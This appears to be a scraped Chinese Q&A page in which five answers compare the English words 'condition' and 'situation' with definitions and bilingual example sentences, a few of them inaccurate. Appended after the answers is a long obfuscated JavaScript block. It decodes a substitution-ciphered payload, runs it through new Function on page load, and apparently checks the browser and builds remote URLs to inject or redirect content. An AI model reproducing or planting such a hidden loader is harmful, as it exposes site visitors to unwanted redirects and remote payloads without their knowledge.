condition和situation有什么区别?

2025-02-25 17:06:21
推荐回答(5个)
回答1:

这两个词的区别我懂,"condition"通常用于描述一种状态或状况,它可以是生理上的、心理上的、社会上的等等;而"situation"通常用于描述某个时间或地点的具体情况,它可能是正面的、负面或中性的。给大家简单总结了两个词的含义、发音以及用法,先大概的了解一下~~

接下来让我们看下condition和situation的其他区别:

1. 词性不同:condition 是一个名词,通常用于描述一种状态或情况,situation 是一个名词,可以用来描述更广泛的情况或背景。

例句

- The athlete's physical condition was not good enough to compete in the race. 

这位运动员的身体状况不够好,无法参加比赛。

- The business situation in the country has been improving recently. 

这个国家的商业情况最近一直在改善。

2. 应用范围不同:condition通常用于描述健康、物品状态、环境等;situation一般用于描述周围的状况、背景、境遇等。

例句:

- We must keep our room in a clean and sanitary condition. 

我们必须保持我们的房间处于干净卫生的状态。

- He didn't like the situation in his workplace, so he decided to quit his job. 

他不喜欢他工作场所的状况,所以他决定辞职。

3. 持续时间不同:condition指持续的状况,而situation则指特定的事件或时间段。

例句:

- The road conditions were bad due to heavy rain. 

由于大雨,道路状况很糟。

- The situation in the area after the earthquake was chaotic. 

地震后该地区的状况很混乱。

4. 语言表达不同:condition是客观条件,situation则带有更多的主观色彩。

例句:

- To qualify for the job, you must meet the conditions specified in the job posting. 

要获得此工作,您必须符合工作发帖中指定的条件。

- The situation at the company was stressful, and the employees were unhappy. 

公司的情况很紧张,员工们不开心。

5. 意义不同:condition通常用于描述症状、状态、规定;situation则通常用于描述背景、环境、处境。

例句:

- The doctor said that the patient's condition was stable. 

医生说病人的状态很稳定。

- The political situation in the country was tense, and the citizens were worried about their safety. 

这个国家的政治情况非常紧张,居民们担心自己的安全。

6. 用法与搭配不同:condition通常使用复数形式conditions,and with some expressions like in good/bad condition;situation则更常见的是用单数形式。

例句:

- The house was in such bad conditions that no one wanted to buy it. 

房子的状况非常糟糕,没有人想买。

- The situation in the company improved after the new management took over. 

新管理层接管后,该公司的状况得到改善。

回答2:

在英语中,"condition"和"situation"这两个单词经常被用来描述某种情况或状态。situation指的是一种状态或情况,而condition指的是一种环境或条件。尽管它们有时可以互换使用,但它们通常具有一些微妙的区别。

1. "Condition"通常用于描述一种状态或状况,它可以是生理上的、心理上的、社会上的等等。例如,我们可能会说一个人有心脏病这个"condition",或者一个社区处于贫困的"condition"。 "Condition"通常强调持续的状态或状况,而不是一次性的事件。

2. "situation"通常用于描述某个时间或地点的具体情况,它可能是正面的、负面的或中性的。例如,我们可能会说一个人在某个"situation"下表现出色,或者一个城市面临着严重的污染问题。"Situation"通常强调瞬间或暂时的情况,而不是持续的状态。

因此,尽管"condition"和"situation"有一些相似之处,但它们通常用于描述不同的事物。理解它们的区别可以帮助我们更准确地描述我们想要表达的特定情况或状态。


                                   

situation双语例句
1、The government will review the situation later in the year.
政府将在今年晚些时候对形势重新加以研究。
2、The government will review the situation later in the year.
政府将在今年晚些时候重新检讨形势。
3、It was a difficult situation, when you think about it.
仔细想来,当时处境是很困难的。
4、In this situation time is of the essence.
在这种情况下,时间是至关重要的。
5、The situation was more complicated than they had at first realized.
形势比他们最初意识到的更为复杂。
condition双语例句
1、Conditions were set fair for stable economic development.
形势适合经济稳定发展。
2、A good training programme is one of the conditions for successful industry.
良好的培训计划是企业成功的先决条件。
3、The car is in remarkably good condition for its age.
就车龄而论,这辆车的状况好极了。
4、The employees have good conditions of service.
雇员有良好的工作条件。
5、You must on no condition tell them what happened.
你决不能告诉他们所发生的事。

回答3:

两者的区别在于,condition更侧重于身体或物体的状态、状况、病症等,而situation则更侧重于环境、情况、情形等,强调周围环境或事件对人或事物的影响。

举例来说,一个人可能处于身体良好的状态(in good condition),但如果他遇到了麻烦的情况(difficult situation),那么他可能会感到很不舒服。又或者,一辆汽车可能状况良好(in good condition),但如果它处于交通堵塞的情况(traffic situation),那么它的行驶速度可能会受到影响。

因此,在选择使用condition和situation时,需要根据上下文和所表达的意思来决定使用哪个词更为恰当。

回答4:

condition指“由于一定的原因或条件或环境所产生的特点情况”。situation 系常用词,指“人或物存在或所处的状态”,但不着重于“这种状态和具体原因或条件的关系”。

拓展资料

词汇分析

一、condition

音标:英 [kən'dɪʃ(ə)n]美 [kən'dɪʃən]

1、短语

(1)health condition 健康状况 ; 健康状态 ; 健康情况 ; 康健状态

(2)boundary condition [数] 边界条件 ; 界面条件 ; 边缘条件 ; 周边状况

(3)standard condition 标准状况 ; [物] 标准状态 ; 标准条件 ; 标准工况

(4)constraint condition [数] 约束条件 ; 束缚前提 ; 约束前提 ; 束缚条件

(5)condition variable 条件变量 ; 前提变量 ; 条件变数 ; 情况变量

2、例句

(1)I starve for your help in such a condition. 

在这种情况下,我最需要的是你的帮助。

(2)This condition was annexed to the agreement. 

这个条件被附加于协议上。

(3)We have to stay with the film in such a condition. 

在这种情况下,我们只好把电影看完了。

(4)The enemy besieged in a few strongholds capitulated on the condition that they would be granted to return home voluntarily. 

被围困于少数据点中的敌军已投降,条件是允许他们自愿地回家。

(5)God saves sinners like you and me on one condition. 

上帝挽救像你我一样的罪人,只有一个条件。

二、situation

音标:英 [sɪtjʊ'eɪʃ(ə)n]美 [ˌsɪtʃʊˈeʃən]

1、短语

(1)situation theory 情景理论 ; 情境理论 ; 情境论 ; 或情境理论

(2)Critical Situation 十万火急 ; 紧急情况 ; 临危授命 ; 紧急态势

(3)Sports situation 体坛风云 ; 体育情景 ; 体育情境 ; 运动情境

(4)new situation 新形势 ; 新情况 ; 新局面 ; 国家助学贷款

(5)emergency situation 紧急情况 ; 应急情况 ; 突发情况 ; 危急情况

2、例句

(1)IShe hastened to explain the situation. 

她赶忙解释这个情况。

(2)My speech started with the situation analysis. 

我以形势分析开始了我的演说。

(3)The president laughed off the awkward situation. 

总统对尴尬的处境一笑置之。

(4)The situation is basically sound. 

情况基本上是健康的。

(5)He analysed the situation very closely. 

他非常周密地分析了形势。

回答5:

situation和condition的区别:意思不同、用法不同、侧重点不同一、意思不同1.situation意思:n. 情况; 状况; 形势; 局面; (建筑物或城镇的)地理位置,环境特点; 职业; 工作岗位;2.condition意思:n. 状态; 状况; 健康状况; (因不可能治愈而长期患有的)疾病; v. 训练; 使习惯于; 使适二、用法不同1.situation用法:表示人或事物的名称。例句:The overall situation is worsening.整体形势在日益恶化。2.condition用法:可以做主语、宾语、同位语、表语 、定语、状语、补语。例句:Conditions in poor quarters were horrible.城里穷人居住区条件十分糟糕。三、侧重点不同1.situation侧重点:situation主要是指各种情况之间的相互关系,着重与形势或局面。2.condition侧重点:condition与周围环境有关,着重于条件或境况。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();